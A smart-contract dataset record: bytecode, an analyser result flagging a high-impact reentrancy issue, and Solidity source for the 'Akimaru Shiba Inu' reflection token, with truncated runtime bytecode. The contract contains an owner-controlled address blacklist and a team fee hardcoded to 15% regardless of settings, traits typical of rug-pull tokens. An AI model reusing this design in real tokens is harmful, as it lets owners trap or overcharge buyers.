cbe57506015546001600160a01b03838116911614155b8015610cd357506001600160a01b0382163014155b15610cfc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b600854610d0b90611932611921565b431115610d18576009600c555b6016546001600160a01b03838116911614610d9d5760185481610d3a8461063b565b610d449190611921565b10610d9d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610574565b6000610da83061063b565b601954601754919250821015908210610dc15760175491505b808015610dd85750601654600160a81b900460ff16155b8015610df257506016546001600160a01b03868116911614155b8015610e075750601654600160b01b900460ff165b8015610e2c57506001600160a01b03851660009081526005602052604090205460ff16155b8015610e5157506001600160a01b03841660009081526005602052604090205460ff16155b15610e7157610e5f826110c8565b478015610e6f57610e6f47610fbb565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610eb657506001600160a01b03831660009081526005602052604090205460ff165b80610ee857506016546001600160a01b03858116911614801590610ee857506016546001600160a01b03848116911614155b15610ef557506000610f6f565b6016546001600160a01b038581169116148015610f2057506015546001600160a01b03848116911614155b15610f3257600954600d55600a54600e555b6016546001600160a01b038481169116148015610f5d57506015546001600160a01b03858116911614155b15610f6f57600b54600d55600c54600e555b610f7b8484848461126d565b50505050565b60008184841115610fa55760405162461bcd60e51b81526004016105749190611829565b506000610fb28486611978565b95945050505050565b6013546001600160a01b03166108fc610fd5836002611299565b6040518115909202916000818181858888f19350505050158015610ffd573d6000803e3d6000fd5b506014546001600160a01b03166108fc611018836002611299565b6040518115909202916000818181858888f19350505050158015611040573d6000803e3d6000fd5b5050565b60006006548211156110ab5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610574565b60006110b56112db565b90506110c18382611299565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117257600080fd5b505afa158015611186573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111aa9190611732565b816001815181106111cb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546111f19130911684610888565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122a9085906000908690309042906004016118b1565b600060405180830381600087803b15801561124457600080fd5b505af1158015611258573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061127a5761127a6112fe565b611285848484611321565b80610f7b57610f7b6001600d55600a600e55565b60006110c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611418565b60008060006112e8611446565b90925090506112f78282611299565b9250505090565b600d5415801561130e5750600e54155b1561131557565b6000600d819055600e55565b60008060008060008061133387611486565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136590876114e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113949086611525565b6001600160a01b0389166000908152600260205260409020556113b681611584565b6113c084836115ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140591815260200190565b60405180910390a3505050505050505050565b600081836114395760405162461bcd60e51b81526004016105749190611829565b506000610fb28486611939565b6006546000908190670de0b6b3a76400006114618282611299565b82101561147d57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114a38a600d54600e546115f2565b92509250925060006114b36112db565b905060008060006114c68e878787611647565b919e509c509a509598509396509194505050505091939550919395565b60006110c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f81565b6000806115328385611921565b9050838110156110c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610574565b600061158e6112db565b9050600061159c8383611697565b306000908152600260205260409020549091506115b99082611525565b30600090815260026020526040902055505050565b6006546115db90836114e3565b6006556007546115eb9082611525565b6007555050565b600080808061160c60646116068989611697565b90611299565b9050600061161f60646116068a89611697565b90506000611637826116318b866114e3565b906114e3565b9992985090965090945050505050565b60008080806116568886611697565b905060006116648887611697565b905060006116728888611697565b905060006116848261163186866114e3565b939b939a50919850919650505050505050565b6000826116a6575060006104db565b60006116b28385611959565b9050826116bf8583611939565b146110c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610574565b600060208284031215611727578081fd5b81356110c1816119a5565b600060208284031215611743578081fd5b81516110c1816119a5565b60008060408385031215611760578081fd5b823561176b816119a5565b9150602083013561177b816119a5565b809150509250929050565b60008060006060848603121561179a578081fd5b83356117a5816119a5565b925060208401356117b5816119a5565b929592945050506040919091013590565b600080604083850312156117d8578182fd5b82356117e3816119a5565b946020939093013593505050565b600060208284031215611802578081fd5b813580151581146110c1578182fd5b600060208284031215611822578081fd5b5035919050565b6000602080835283518082850152825b8181101561185557858101830151858201604001528201611839565b818111156118665783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119005784516001600160a01b0316835293830193918301916001016118db565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119345761193461198f565b500190565b60008261195457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119735761197361198f565b500290565b60008282101561198a5761198a61198f565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461063857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aae8344c56934bbb0dcbb6a75ce2a05bcdd1043a793d596cf173c5bbbc2c80c764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,037
0xf5ffc07f4f4f1818577266b483f40852b3619352
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AkimaruInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Akimaru Shiba Inu "; string private constant _symbol = " Akimaru"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601381526020017f20416b696d61727520536869626120496e752000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f20416b696d617275000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffff